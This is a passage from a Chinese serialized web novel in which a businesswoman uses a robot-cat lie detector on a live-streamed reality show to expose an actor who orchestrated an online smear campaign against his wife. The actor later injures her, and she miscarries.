只有毁掉林悠羽自己才可以清清白白! 宋明远知道这一点,所以才会在经纪人准备放弃自己的时候自行联系水军对付林悠羽。 他倒也想看看,许愿知道林悠羽本质上是个荡妇后还会不会帮林悠羽。 许愿就算是真的偏心女性总要有个正确的三观吧,总不能林悠羽脏成这样了还要去维护林悠羽,那到时候要被喷的就是许愿了。 他还挺想看许愿被骂的。 虽然知道就算被骂也没有人能撼动许愿的地位,但有人骂她,宋明远也会觉得自己心里出了口恶气。 林悠羽在外面急的直哭,宋明远却在房间内悠哉的幸灾乐祸,满脑子都是林悠羽活该。 背叛自己想跟自己离婚那就只有这一个下场! 别想好过! 这一整夜有关林悠羽的黑热搜就没下来过,林悠羽的经纪人也心慌,节目组导演宋玥也害怕,生怕自己节目被突然喊停不许再录制。 好在节目组里有许愿这尊大佛,应该没有人会叫停,毕竟也没人真的想得罪许愿。 宋玥一整晚没睡,第二天录制节目的时候整个人都蔫哒哒的。 虽然林悠羽还浑身都是黑料,但节目不能不录,只是面对镜头的时候林悠羽的眼神多有躲闪,像是在害怕心里好像都是发慌的。 明明看不到弹幕,却好像感受到那群人还在攻击自己谩骂自己。 林悠羽看不到镜头,宋玥确实看得到镜头的,那群人还在污言垢语,什么难听骂什么。 {林悠羽到底跟过多少男人啊,有没有营销号来总结一下?} {不是说林悠羽曾经在剧组跟其他艺人凑到一起做剧组夫妻吗?是不是真事儿?} {哇,林悠羽怎么还有脸录制节目的啊,宋明远快带着你的两个孩子去医院查查看到底是不是你的种吧!千万别帮着别的男人养孩子!} {垃圾垃圾,能不能让林悠羽退出节目组!谁想看这种脏到极致靠身体上位的女人啊!} {生了连个女儿,指不定以后女儿跟妈妈一样都是出卖身体的女人。} 导演宋玥看着这无边无际的谩骂,脸也越来越黑。 林悠羽这件事还没解决好,骂林悠羽怀疑林悠羽也就算了,为什么还要骂两个年纪这么小的孩子!这群人是疯了吗! 第926章 看到她就晦气 宋玥还在因为那铺天盖地的骂声而烦躁,任务期间林悠羽几次走神,许愿也察觉到林悠羽的状态不太对。 最后林悠羽还是输了比赛。 许愿跟盛景炎做完任务还特地去附近的宠物医院去看自己寄养在那边的黑猫白猫,玄墨和雪团,被医生洗的干干净净,毛都吹得很蓬松,玄墨那身黑毛更加顺滑了,也不知道这一只流浪猫是怎么把自己养的这么好的。 可见玄墨在外的战斗力绝对不一般,可以自己捕食养活自己。 “许总要抱抱看吗,已经给他们做了驱虫,不过还没打针。”工作人员笑着问。 驱虫后不能马上就打针,许愿还是知道这些常识的。 她看着被关在笼子里面的玄墨和小雪团,小雪团跟在玄墨身后,用爪爪勾弄着他的黑色尾巴咬着玩,玄墨也不生气,拿自己尾巴当成逗猫棒逗着小雪团,小雪团朝气蓬勃的在笼子里扑来扑去抓他的黑尾巴,偶尔还发出奶呼呼的叫声,很开心的模样。 她当然是开心的,平日里跟玄墨在外面流浪的时候玄墨去捕猎,她就躲在洞洞里面等黑猫回来,现在可以一直跟黑猫在一起,她太开心了。 开心的整只猫都想要喵喵喵。 许愿都能明显感觉到她有多开心,眼睛都弯了弯。 黑猫这次摁倒了还在扑他尾巴玩的小雪团,然后舔她的猫猫,雪团立刻发出呼噜呼噜的叫声,很舒服,更开心了。 许愿看了一会儿,黑猫似乎是给她舔好了毛,这才站起身走到笼子门口,看着许愿。 他还记得许愿。 许愿有些惊讶的伸出手指到笼子里去,玄墨看看她又看看手指,然后像是有点无奈似的伸出爪爪按了按,像是在哄她一样。 许愿觉得自己被敷衍了,又伸出手指继续勾他。 玄墨这次凑过去舔咬她的手指,但动作还是很敷衍,就一下就把她的手指推走,然后继续去给小雪团舔毛。 许愿:“?” 就是在敷衍她! 她两只眼睛都看得到! 直播间弹幕区全都笑作一团。 {许总这明显就是被黑猫哄了,真不愧是我们霸道总裁黑喵啊!} {明显知道许总是以后的铲屎官,所以敷衍一下,敷衍完果断继续给雪团舔毛毛,这只黑猫太双标了。} {其实黑猫对许总已经很好了,节目组放出的花絮里面黑猫对其他人都是很凶的,许总这里黑猫都愿意敷衍她!这何尝不是一种真爱啊!} {异性恋同性恋都满足不了你了?现在开始YY猫和人了?你这想下一秒就是要屏蔽了。} {小雪团好萌,姨姨亲亲亲!亲亲亲!} 弹幕区都在疯狂刷着黑猫白猫,还有人嗑着两只猫的CP,跪求别给黑猫绝育,就想看两只猫猫相亲相爱。 直播间弹幕正热闹着,突然有人看到了林悠羽带着两个女儿出现在宠物医院门口,弹幕瞬间就变了。 {怎么是林悠羽啊,真晦气……} {她这是想干嘛,想来求我们许总帮忙吗?呸,不要脸的事情都做尽了还敢来找许总,女人的脸都被她丢尽了!} {许总在这边给女孩子争了一口气,林悠羽就在那边拖后腿,就仗着自己有一张漂亮脸蛋为所欲为呗,现在找许总有什么用,但凡以前不做那些亏心事不那么浪荡也没今天,早干嘛去了!} {啊啊啊!不想看林悠羽!摄影师能不能别拍她了!要吐了!} 男人嘲讽林悠羽说她恶心甚至在意淫林悠羽。 女人认为林悠羽丢了女性的脸,也在攻击谩骂。 许愿没看着手机根本不知道弹幕因为林悠羽吵起来了,她还在专注的逗猫玩儿,但宠物医院的两名医护人员凑在一起小声议论。 “她怎么还有脸出门的啊,换做是我我现在都不会再录制这档节目了,脸都丢尽了,照片视频被人发出来了,现在还敢出门,恶心死了。” “她之前不是救了个猫咪吗,就寄存在我们宠物医院,估计是来带着孩子看猫咪的。” “晦气死了,猫咪也是倒霉,被一个这么浪荡的女人收养。” “真的不想看到她这张脸啊,只是看看我都觉得浑身刺挠,她自己不觉得吗,脸皮是真厚啊。” 许愿逗弄猫咪的动作停顿片刻,她微微敛眉,目光缓缓落在工作人员身上。 对方被许愿此刻的眼神看的有些不太舒服,赶紧尬笑了一声。 “许总,请问有什么问题吗?” “你们在聊什么。”许愿开口询问。 工作人员一脸尴尬,甚至还有些惊讶:“许总您不知道昨晚上发生的事?” 直播间弹幕也纷纷询问。 {昨晚那事情闹那么大,许总竟然都不知道?} {怪不得今天许总对林悠羽还那么友好,敢情是什么都不知道啊,怪不得呢。} {许总不知道可太正常了,许总整天那么忙,网络上除非是跟许总和盛总有关的消息,否则盛世那边的员工也不会关注更不会联系许总了,许总可不会一直住在网络上,什么风向都知道……} 这话说的的确真相了,许愿确实只关注自己身边人。 见工作人员这个态度,许愿微微皱眉:“到底什么事。” 工作人员一脸无奈的拿自己手机点开微博让她看那些黑热搜:“昨晚上这些就被爆出来了,现在林老师都还没有什么回应,现在网络上骂她的人很多,许总您……还是跟她稍微保持点距离吧,那群人疯起来谁也骂。” 她当自己做了件好事。 许愿抬头看看盛景炎,盛景炎取了手机去看网络上最新热搜,都在骂林悠羽。 许愿眼皮微微一跳,她脸上的笑意都在此刻凝固了,她抬眸看向工作人员。 “网络上那群人这样说,你们就信了?” 工作人员脸微微有点发红:“大家都那么说,视频和照片都出来了,证据就摆在这里的。” 许愿只觉可笑。 “这算什么证据。” “视频上这个女人打了她?你们就一定说是她当小三被打?有没有可能是有些人嫉妒她的容貌?或者喝醉了酒才动手的?” 第927章 测谎机器人重出江湖 “真相还没有爆出,只凭借一张图就随便看图说话?是不是太草率了些。”许愿开口。 工作人员红着脸开口为自己开脱:“可是……可是林老师当初的助教也站出来了,也说林老师当初勾引了他,还说林老师跟看门那位有关系……” 许愿听了更觉可笑。 “到底是我疯了还是林悠羽疯了?” “她那张脸用得到去勾人?那位助教老师的话就一定是真的?有证据吗?不要跟我说网络上铺天盖地都是林悠羽高中同学,我最懂什么是谣言,无非是太多人嫉妒她那张脸造谣,那位助教老师什么身份有没有收到谁的打款有人查过吗?” “网络上的人说林悠羽是小三你们就信,网络上的人说林悠羽跟老男人有一腿你们也信,网络上说林悠羽被潜规则你们也信?” “如果真相真的是如此随便你们怎么骂,可现在事实还没有查出来,只因为网络上那群带节奏的人就开始在网络上发表自己那点浅薄无知的观点。” “你们只以为自己是在宣扬正义,又怎么知道可能这并不是正义而是助纣为虐?” “怎么会这么巧,宋明远被骂后林悠羽就上了黑热搜?” “怎么就这么巧,一个人开始辱骂林悠羽,全网林悠羽认识的那些人那些同学半夜凌晨不睡觉出来发表自己的观点?怎么?大家都过得是海外的时间日夜颠倒吗?” “这件事没有水军没有人带节奏刻意的抹黑她,你信吗?” “林悠羽早年在夜店工作的照片和视频都多少年前了,怎么这么巧一有黑料马上爆出来?你们有没有想过为什么?” “无非是有人下一盘大棋,想要毁掉林悠羽。” 许愿字字句句说的清楚明白。 工作人员支吾半天却说不出反驳的话。 是啊,真相还没出来他们凭什么就这么针对林悠羽啊。 说不定真就是有人故意设计林悠羽呢? 工作人员有些愧疚,许愿看她如此也只是轻微摇了下头。 “这不是你的错,只是人就是这样。” 许愿面对镜头:“你们也是这样想的吗。” 直播间沉默了片刻然后才开始回应,有的支持许愿,认为许愿说得对,林悠羽可能是被冤枉的,有人认为许愿就是对女性太友好太双标在为林悠羽开脱,说什么的都有,双方各持己见。 许愿就是不看评论区也猜得到那群人都在骂什么说什么。 许愿抬头看向躲在门口因为工作人员那些话不敢进来的林悠羽,片刻后开口:“林悠羽,你猜到这次的事是谁做的吗。” 林悠羽茫然,她不清楚,她也想不到会是谁做的。 许愿突然笑了。 “其实后面的水军有些是你的对家,但最开始爆料的大概会是你自己都想不到的那个人。” “那个人在拿你挡枪呢。” 许愿这话说的很明显。 林悠羽却听懂了。 挡枪,那不就是宋明远吗? 宋明远在直播间说的那些话惹怒了他自己的粉丝,所以需要更高热度的新闻压下去,另一方面他们两人只注定要离婚的,那么宋明远怎么才能不被骂?除非林悠羽是个十足的完全的渣女,这样宋明远才能清清白白的跟林悠羽离婚,一切错处都只会是林悠羽的而不是他宋明远的。 这个男人阴险狡诈,把任何事都算计的清清楚楚。 林悠羽身体颤抖。 她知道自己的丈夫够狠,但没想到真的能狠到这地步。 她甚至觉得自己此刻好像才算是真的认识了自己的丈夫。 宋明远,你这样真的让人恶心。 林悠羽眼睛是红的,却又不敢让自己的女儿看到自己落泪的模样。 直播间弹幕也在疯狂刷屏。 {我靠,不是吧,许总说的难道是……} {挡枪,这两天谁一直被黑?除了林悠羽她丈夫还有谁啊!看林悠羽被骂宋明远出来管了吗?昨晚就因为林悠羽的黑料才没人骂宋明远了,甚至一群人可怜同情宋明远认为宋明远娶了个……肮脏的女人,那群男人都已经同情上林悠羽了。} {太可怕了吧!这个男人真的能做到这一步吗!} {别小看男人的狠心程度,吃绝户逼死自己妻子的男人不在少数,宋明远那男人完全不在乎女性,嘴里说的全都是遍地女性的话,昨天说错话见他出面道歉了吗?没有,因为还没来得及道歉林悠羽的黑料就被爆出来了,哪里会这么巧他才被黑自己老婆的黑料就爆出拯救了他?他整日里说自己喜欢林悠羽能为了林悠羽付出多少多少,现在呢?林悠羽被黑这个做丈夫的倒是吱声啊?哑巴了?一看就是希望事情越闹越大那一批,等到两人离婚那就是林悠羽全责,这男人真的好狠的心肠!} {不是?怎么就确定是宋明远干的了?宋明远知道吗?你们说这些要有些根据啊,许总不是说了吗,没有事实依据前不能胡说的!} {许总敢这么说不就是证明许总能拿出证据吗?} {等许总带我们知道真相。} 弹幕里面都在等许愿去揭秘。 许愿看着林悠羽笑了下:“我们一起去见一见你的丈夫吧,我有些问题想问他,咪咪也有些问题想问他。” 还不等林悠羽震惊,弹幕就开始震惊了。 {许总这是默认是宋明远干的了!还说咪咪!咪咪不就是许总的测谎仪机器人吗!咪咪重出江湖,对啊,咪咪能测宋明远和林悠羽说的是真话还是假话啊!就算还在测评阶段,但咪咪的准确度大家是有目共睹的!} 许愿不顾直播间多震惊,继续道:“林悠羽,咪咪可能也有几个问题想问你,你敢回答吗,希望你不要让我失望。” 敢回答吗?问的就是林悠羽是不是被冤枉的,那些是真的假的。 林悠羽咬牙,眼睛还是红的:“我当然敢回答!” 对上咪咪都不怕,甚至还是红了眼眶的状态,显然是委屈到了极致。 直播间的观众还有什么不明白的? 林悠羽多半就是被人设计了! 第928章 玩场游戏 林悠羽这样直接的回应,更让直播间的观众心里有了底,林悠羽连咪咪都不怕,测谎仪是机器,可不会偏袒任何一个人。 其实宋明远那些烂事儿许愿本来不打算掺和,她也不会主动去招惹谁。 可宋明远一次两次的做的太过,她是真的看不下去。 林悠羽做的还不够多吗?现在都已经被宋明远逼到什么份儿了? 她能看不懂宋明远这么做的原因? 如果这次宋明远没有做到这么绝,许愿也不会真的跟他过不去,但她既然知道了遇到了……实在不能不帮一把。 她太清楚女性被逼到极致可能会做出什么事,林悠羽本人又不是那种特别要强的,否则当年被人污蔑事小三的时候也不会隐忍没有反驳更没有报复,如果是许愿,对方怎么设计她,她就要全盘报复回去,一个都别想跑。 但显然林悠羽跟她不同。 如果真的像宋明远这样一直步步紧逼那结果很可能是林悠羽真的净身出户再加上全网谩骂,各方品牌解约她需要赔付天价违约金,到最后她甚至会被逼到自杀。 可宋明远这样的男人会对她有感情吗? 不,他只爱自己。 对林悠羽那点微弱的爱意也只源于对她身体产生的欲望。 在钱权上,宋明远只会寸步不让,他会选择逼死林悠羽也不肯出一点钱。 哪怕前面有许愿压着,他也要赌最后那点可能。 他想要的结果就是逼死林悠羽。 许愿见多了这样恶心的东西,但今天还是会再一次被宋明远这种东西恶心到。 “现在就跟我一起去见宋明远,有些话总归是要问清楚,某些人是黑是白,是蠢是坏,总要让你们都看看清楚。” 许愿说的,明显是宋明远。 如果是林悠羽自己,她没那个胆量去见宋明远,但现在身边有许愿,她就有了勇气去面对宋明远,此刻还深吸了口气,明显是在给自己加油打气。 许愿偏头看了她一眼,这才转过身去看笼子里面的玄墨。 “我要走啦。” 她还不忘跟黑猫打声招呼。 黑猫很有灵性的伸出爪爪在笼子边缘拍了拍,许愿忍不住笑出声弯了弯眼睛。 她伸出手戳戳黑猫的肉垫:“等录制结束就接你们回家。” 她是真的很喜欢这两只猫了,雪团软萌可爱,黑猫玄墨就像个小霸总,她有时候都觉得对方看自己的眼神都带着嗲你宠溺,总不能猫咪也觉得她好看吧。啧人自恋可以,但不可以自恋到这份儿上。 许愿说要去见宋明远,盛景炎根本拦也不拦,大有看好戏的意思。 他一直都是这个喜欢看戏的性子,以前没跟许愿在一起的时候就喜欢看戏。 节目组里面,宋明远此刻心情大好的在用餐,完全不管自己妻子女儿不在,也装作不知道林悠羽被骂被黑的事。 这个时间是休息时间,他悠哉悠哉的打开电视,搜了自己演的剧看着。 门突然被推开了,进来的人是林悠羽,宋明远见她红着眼眶也不问,继续看电视,但余光却看到许愿和盛景炎,心就提起来。 他不怕林悠羽但不代表不怕许愿和盛景炎。 宋明远赶紧站起身,还特地去洗了今天做任务换来的水果。 “许总怎么来了。” 他问这话的时候真是一点都不心虚,像是真的不知道自己做了什么错事一样,谨慎又小心的开口。 “有点无聊,所以来找宋老师玩个游戏,不知道宋老师捧不捧场了。”许愿笑着开口询问,看着很友好的模样,但任谁也猜不到许愿心里对他有多厌恶。 宋明远还当是什么大事儿,面上不显笑呵呵道:“许总要玩游戏那我肯定是要作陪的,不知道许总想些什么?” 许愿眉眼弯弯:“这么说宋老师答应了?” 宋明远还是笑:“这是什么大不了的事,我拒绝做什么?能陪许总玩游戏我高兴还来不及,外面多少人都没这机会,这是我的荣幸。” 他倒是会说好话的哄人。 “宋老师这么高兴啊,那我也希望宋老师能一直这么高兴。” 话落许愿转身看向门外,已经等候多时的节目组工作人员捧着测谎机器人咪咪走进来。 宋明远脸上本还带着的讨好的笑意在此刻彻底凝固。 “许总说的……游戏是指要带着咪咪一起玩?是我想的那样?” 许愿抱肩:“是这样,只单纯的玩游戏未免太无聊了些,所以才要带着咪咪一起玩。” 宋明远心彻底沉下去。 这哪里是玩游戏,这是想自己死啊! 宋明远克制不住的后退两步想要退缩,许愿面上却还带着笑意,可那笑意宋明远看来却只觉得悚然。 “许总你之前可没说要带着咪咪一起玩游戏……” 咪咪那可是什么都能查出来,他哪里有胆子继续跟咪咪玩? 上次真心话游戏就已经被撕破了那张脸皮!他现在看到咪咪就只想逃只想躲了! “玩个游戏嘛,不做亏心事的话怎么会怕咪咪呢?”许愿伸出手揉了揉咪咪的毛发,虽然是测谎机器人,但咪咪的毛发是很仿真的跟真的猫咪毛发摸起来没有太大区别。 宋明远再拒绝,就好像自己有什么怕被挖掘的秘密一样,只能干笑了两声应下。 “那么,我就当宋老师同意一起玩了。” 许愿还在笑,却已经坐到了宋明远对面。 “其实玩法很简单,就跟上次的真心话玩法一样,抽到数字最小的,需要回答数字最大的人一个问题,很简单的规则,宋老师应该懂吧。” 宋明远还是干笑:“懂,上次玩过,肯定懂。” 许愿目光将牌中的大小王挑出来,游戏也正式开始。 在场四个人,只有宋明远内心慌张害怕,因为他心里清楚自己做的事,只要被问出来那就是塌房的节奏。 现在只能寄希望于咪咪并没有那么智能。 游戏开始,不过很可惜第一次抽到最小牌的是许愿,最大牌的是林悠羽。 宋明远松了口气,林悠羽抓握着那张牌,隐忍片刻还是问道:“如果许总也遇到和我一样的事,你会怎么做。” 许愿笑着看她:“以其人之道还治其人之身。” 这确实是许愿会做的事。 宋明远听不出来两人在说什么,现在还在烦躁担心许愿等会儿会抽到自己,他已经开始急的抓头发,但又不想他们看出自己的心虚,只能时不时的抬头干笑两声。 第929章 好恶心的谎言! 第二轮开始,宋明远在心里祈祷不要抽到最小牌,不要抽到最小牌,但最后祈祷没用,到手的果然是最小的数字牌。 宋明远眼前一黑,又开始祈祷拿到最大数字牌的人不是许愿而是林悠羽,林悠羽起码会有点分寸。 他还不知道林悠羽已经清楚外面黑料都是他买的,还抱着侥幸认为林悠羽会帮自己。 “悠羽,你想问什么直接问。”宋明远面上透出笑意,可那笑意在林悠羽看来却虚假可笑。 许愿看宋明远这不慌不忙的样子缓缓开口:“宋老师,可以先把手放到咪咪身上了。” 宋明远满脸冷汗,但因为提问的是林悠羽却也没有那么慌。 林悠羽咬了咬下唇,看着此刻的男人,想到许愿那句话,又记起这是在直播还是打算问出口。 “我那些黑料是不是你联系营销号放出来的,我要听实话。” 林悠羽对着宋明远一字一顿的问出口。 直播间现在刷的飞快,全都等着听答案,她们也想知道真相啊! 到底是不是宋明远干的!万一是污蔑呢! 许愿那边的直播间知道许愿猜测是宋明远的小动作,但宋明远这块不知道还云里雾里的觉得林悠羽这女人疯了,现在跟疯狗没区别,不然也不会追上来问这话? 她问这话的时候自己不觉得可笑吗? 宋明远是她丈夫!怎么可能放他黑料! {林悠羽是真的疯了吧?} {她真的知道自己在说什么吗?为了洗白脸都不要了在这里坑害她丈夫?宋明远被害了她能落得什么好处她想过没有?} {这女人真是又毒又蠢!} 直播间弹幕怎么骂林悠羽猜得到,可她此刻就是眼含泪光的盯着宋明远,等他的回应。 宋明远笑意僵了,他整个人呆住了,反应过来之后猛地看向林悠羽。 “悠羽,你到底知不知道你在说什么!” 只这样短暂的对视,宋明远就被她眼底的恨意镇住。 “正面回答我!到底是不是你做的!”林悠羽再一次逼问。 宋明远身体颤抖直接将手从咪咪身上挪开然后大喊:“怎么可能是我做的!我对天发誓不是我做的!你怎么能不相信我!你是我的妻子!我疼你宠你还来不及怎么可能背叛你!” 直播间也高呼,对啊,宋明远怎么可能背叛自己妻子放黑料啊。 两人是一家人,他做这种事扳倒林悠羽他图什么?他又不是蠢货! 直播间都等着林悠羽怎么收场呢,结果下一秒,就听到咪咪奶声奶气高声大喊。 “骗子!” “大骗子!” 咪咪整只机器猫毛都炸起来,她呲牙在桌上踱步,又黑又亮的猫眼盯着宋明远。 “呸呸呸!好恶心的谎言!” “就是你做的!是你自己亲自把那些证据发给那些营销号的!那些营销号分别是小兔白白、娱乐圈教父、飞天小象还有松鼠玉玉!这四个都是粉丝达百万的营销号,你还给他们转了钱!” “你这样满口谎言的片子坏人对天发誓那就要被劈成渣渣了!” “你才不疼她不宠她!你只喜欢你自己!” “你这个无情无义佛口蛇心只会演戏满肚子阴谋诡计的坏人!” 咪咪气的小嘴叭叭不停,宋明远又是震惊又是慌乱。 “许总!这机器人出故障了吧!我没有把手放上面怎么还胡说呢!这一定是有问题!” 宋明远抵死不认自己做了荒唐事,睁眼说瞎话,直说许愿的机器人出问题。 直播间的观众也觉得是机器出故障了! 他们可都看到宋明远的手就没放到机器人身上,这机器人怎么还碰瓷呢!这要冤枉了人可不行! {果然是许总说的低端机器人所以才会出这种故障,现在这机器人还有太多要改进的了。} 观众们都心里清楚,冤枉了宋明远也就算了,万一也冤枉了他们,那他们找哪儿说理去? 而且宋明远又是公众人物,这测谎机器人可不能随口胡来啊。 “许总,你这机器人还没有经过测评,这故障太多了,您还是好好修修吧,如果我的粉丝当真了,那我岂不是要被许总害惨了。” 宋明远像是抓住了许愿的错处一样喋喋不休。 “我自然我没做过我老婆的事!我看到悠羽被网络上的人骂我比谁都心疼!” 宋明远趾高气昂。 许愿却是笑了。 宋明远却觉得这笑透着冷。 咪咪还要开口,许愿拍了下她的脑袋:“先闭嘴。” 咪咪有些不服气,但还是闭嘴了。 “宋老师没有做任何伤害林悠羽老师的事,宋老师确定吗?” 许愿还是在笑,可这笑让宋明远心里发寒。 “宋老师,你知道只要跟网络有关的事,不管是多久前的监控也好证据也好我是都可以找出来搜出来的。” “在我这里撒谎的代价你真的担待得起吗。” “或者说那四位营销号他们肯为了你得罪盛世得罪我继续瞒着你做的事吗?” “宋老师,不要谎话说得多了真当自己是痴情好男人了。” “节目组男嘉宾里面,那个好男人可以是阿炎,可以是周鹤瑾也可能是未来的沈从,但绝不可能是你宋明远,怎么?还需要我把话说得更明白一些吗?” 宋明远整张脸都是黑的,他看着面前的许愿,内心却是一片悲凉。 “许总再如何说我也不会承认的,我没做就是没做,我不会设计陷害我的妻子!” 宋明远咬牙愤怒的瞪视她,仿佛下一秒就要冲过来撕咬她。 许愿只垂了下眼睫,很轻缓的笑了一声。 “宋明远,你这种男人实在肮脏是在龌龊,我许久不见你这样卑劣的男性了,你还真是坏的明目张胆坏的自以为是坏的……理直气壮。” “你不承认没关系,我想要证据也是很简单的,只希望你看到那些证据不要被吓到才是。” 许愿又歪了下头看他:“其实我知道你做那些事之前是如何想的。” “无非是觉得你跟林悠羽在节目录制结束后会离婚,所以担心网友将离婚的原因全都归结到你身上,你害怕你担心毁掉你的星途,所以早早找出了你自己留存多年的一些可以扳倒你妻子的证据。” “作为你的枕边人,你从没有信过她。” “你觉得毁掉她,让她彻底脏掉就能为你压下那些黑料,就能在离婚后让你清清白白。” “你没有想过离婚后的林悠羽背负骂名要怎么活下去,你没想过她的孩子知道母亲的这些消息要有多难过,你没想过以林悠羽的性子最可能的结局就是被逼到跳楼自杀。” “或许你想过,你也清楚这一些,所以你就是想逼死她,因为只有她死了,你才是真正的干干净净,你可以继续在圈子里玩女人。” “你说林悠羽出了事你比谁都难过,你说你疼她宠她,可你明明就很开心很高兴,反观林悠羽才是哭红了眼。” “不要告诉我你不知道这件事,你被蒙在鼓里,刚才对话过程你已经说了,你知道这件事!” “你那样高兴无非就是想到了林悠羽的悲惨结局!” 第930章 到底哪里对不起你 许愿一字一句几乎是将宋明远逼到极致,宋明远的脸青一阵白一阵,想反驳却又说不出反驳的话。 早该想到的,许愿与盛景炎跟他没有交情,两人对他可以说是极致的厌恶,怎么会突然来跟他玩游戏,说是玩游戏,就是为了扯掉他身上的遮羞布。 许愿,真够狠的! 宋明远唇瓣抖动还想要回应。 许愿却已经打算离开。 “你不必再说更多,你可以再等等看,最晚明天网友们就可以看到真相。” 许愿和盛景炎已经离开了,林悠羽却没有走,她还有很多话想问宋明远,所以留下来。 她现在庆幸没有带着孩子一起回来,否则让孩子听到这些,她心里也实在不忍。 见她没走,宋明远关掉直播,扬起手险些一耳光狠狠打到林悠羽脸上,但现在……不能打! 节目还在录制,如果林悠羽肿着脸出去,他一定会被骂死。 因为任何事都不是家暴的理由!他清楚这一点。 他咬牙死死瞪着林悠羽。 “你到底为什么要联合许愿来一起算计我!”他逼问。 “我到底有哪里对不起你!你说要离婚我已近同意离婚,你说你要带走孩子我也同意让你带走孩子,为什么还要毁了我!” “为什么要去赵许愿嚼舌根!是不是你告诉许愿是我设计了你!是不是!” 宋明远根本不过脑子,眼睛赤红的像是随时会攻击人类的雄兽。 林悠羽眼睛更红了,鼻子一酸眼泪就流下来。 “你是怎么说出这种话的,你怎么有脸的?” “我没有去跟许总说这些,是许总告诉我可能是你做的!不然我根本不知道我的枕边人想要害死我!” “当年的那些事你不是都知道的清清楚楚吗!我是被人设计被人陷害的!你是我第一个男人!你自己心里不清楚吗!” 宋明远对她的指责冷笑了一声:“我是你第一个男人?你说是就是?谁不知道现在已经有修复手术了,我怎么知道你在夜店的时候没卖过。” “王八蛋!” 林悠羽终于控制不住自己的脾气,这次宋明远没动手,动手的是林悠羽。 “你他妈疯了吧!”宋明远眼睛血红怒骂,林悠羽却狠狠推了他一把。 “宋明远,我们好歹夫妻一场,我这些年才是真的没有对不起你,是你一直在伤害我,你自己开直播要针对女性有了黑料你就打算献祭我,你要毁掉我,你要逼死我,这世界上怎么会有你这么可怕的男人!” 林悠羽此刻已经完全确定背后设计自己的就是宋明远,她的眼泪止不住的流。 宋明远甩开她的手腕,直接把人推的一个踉跄,林悠羽脚下一滑跌到地上,她脸色一变,捂着自己肚子不停呻吟,宋明远看她这副模样毫不在意的冷笑。 “我伤害你怎么了?没有我你能成大明星?没有我谁知道你林悠羽?你还不知道在哪里当嫩模呢!” “我告诉你,没有我捧着你,你还不知道在哪里求那群大佬讨生活呢,蠢货。” 宋明远咄咄逼人把她贬到泥地里,林悠羽捂着自己的肚子,身上的白裙子染了血,腿下不停渗血。 宋明远看到血才终于慌了。 “你……你自己摔倒的!跟我没有关系!你别想污蔑我!” 宋明远话都有些哆嗦,嗓音颤抖。 突然一道尖利刺耳的女孩叫声响起,宋明远眼底都是厉色,却看到自己的女儿宋云目光呆滞的看着这一幕,宋明远立刻就要冲出去捉她,宋云马不停蹄的跑出去。 “阿愿姐姐!阿愿姐姐!救救我妈妈!” 宋明远已经听到宋云在喊许愿,他心里咯噔一声,此刻只觉得这次是真的要完了。 宋云才叫喊出声,节目组的人已经冲进来,工作人员将人抱上车去最近的医院。 余下的工作人员神色复杂的盯着宋明远看,宋明远被这群人的眼神看的浑身发寒。 “看什么看!林悠羽自己摔倒的!跟我没关系!”宋明远大喊。 许工作人员们面上冷意和不屑都很明显,许愿和盛景炎一直没走,此刻宋云和宋雨就在她身边,她越过人群,冰冷刺骨的目光落到宋明远身上,眼底寒意骤现。 宋明远被那眼神盯的心理发慌。 他满脑子只想到两个字。 “完了。” 许愿嫉恶如仇,特别是对女性极其包容,这次林悠羽被黑的事许愿本就怀疑他,这次他又动手推了林悠羽,许愿绝对不会放过他。 许愿一定……一定会整死他的! 就像宋明远想的那样,许愿和盛景炎带走林悠羽两个女儿,带她们去医院看了林悠羽。 林悠羽怀孕一个月,因为最近身体不好再加上宋明远的冷暴力还有情绪不稳定导致这一肽本就不稳,宋明远这一推直接流产。 许愿知道这消息的瞬间浑身发寒。 此刻仿佛又回到了自己丢掉孩子的那天,自己真个人倒在血泊中。 她有些承受不住的埋进盛景炎怀里,盛景炎跟她那么默契,怎么可能猜不到她心里在想什么,他伸出手抚摸着她柔顺的发,轻柔的吻落在她眉眼之间。 “都过去了,没有人会怪你,他也会很爱你,也会希望你能幸福。”盛景炎捧住她的脸,那双桃花眼里面盛着盈盈星河。 许愿握住他的手,十指紧扣,却没有回话。 坐在等候椅的宋云眼睛红通通的,却小心翼翼的不敢去打扰许愿和盛景炎,她怕自己会被讨厌,所以做任何事都是很小心。 直到许愿缓过劲儿,宋云才偷偷看她,小声问:“阿愿姐姐,我妈妈会没事的对吗。” “会没事的,我保证。”许愿勉强的笑了笑。 林悠羽生过三个孩子,身体本就透支的厉害,这次又流产,身体以后大概会很虚弱。 “阿愿姐姐,我爸爸妈妈真的可以离婚吗?妈妈说你很厉害……那阿愿姐姐真的可以让妈妈带走我和小雨吗?”宋云看着她,最终还是问出了这个问题。 她真的想带着妹妹跟妈妈走。 第931章 没一个干净的 许愿看着眼前小孩儿天真的脸,看向她的目光带着祈求。 好像希望她救一救林悠羽那般。 她已经在救林悠羽了。 许愿伸出手揉了揉宋云的头放柔声音问她:“小云,你喜欢你爸爸吗。” 宋云不懂她为什么这么问,此刻有点呆呆的看她,像是有些纠结慌张,然后小脸都带着点红,像是憋红的。 “不要担心,姐姐就是随口问一问,不管你怎么回答,姐姐都不会生气的。”许愿脸上还是带着轻缓的笑意。 宋云被她此刻温柔的笑安抚了,她撇了撇嘴,像是快要哭了。 “阿愿姐姐,如果我说我讨厌爸爸,以后都不想看到爸爸你会不会觉得我是个坏小孩……” 毕竟还是小孩子,觉得自己有这样的想法那自己可能就是个坏蛋,因为课本里面都在讲父爱如山,父亲的爱是沉默的,就连老师也说爸爸妈妈都很爱她们。 她怕自己跟老师的想法不一样,跟课本说的也不一样,那许愿会觉得自己好坏好坏,然后就不会帮妈妈了。 可是她真的不像撒谎,她就是很讨厌爸爸,讨厌到不想看到她。 “你没有做错,做错的是你的父亲,是他需要好好检讨一下为什么自己不被这样可爱的小女孩喜欢。” 许愿揉揉她的发梢,声音仍然温柔,带着安慰的意味儿。 宋云感受到她的友好,终于不担心了。 她腰板挺直了一点,然后小声呢喃:“我不喜欢爸爸不喜欢奶奶,我和妹妹只喜欢妈妈,我们想跟妈妈生活在一起。” 小孩子其实很敏感,能感受到谁喜欢自己谁讨厌自己。 就像宋云,她知道父亲不爱自己奶奶也不爱自己。 “你的愿望会实现的。” 许愿这样回应,就说明她已经打算好接下来如何做了。 宋明远阴毒狠辣自私无情他这样的人,孤独终老也不为过。 节目突然暂停录制,有医院的病人偶遇了节目组的人被爆到网上,甚至有人拍到受伤的是林悠羽,照片里面明显看到林悠羽裙子的血迹。 这张照片爆到网络上后瞬间引起轩然大波。 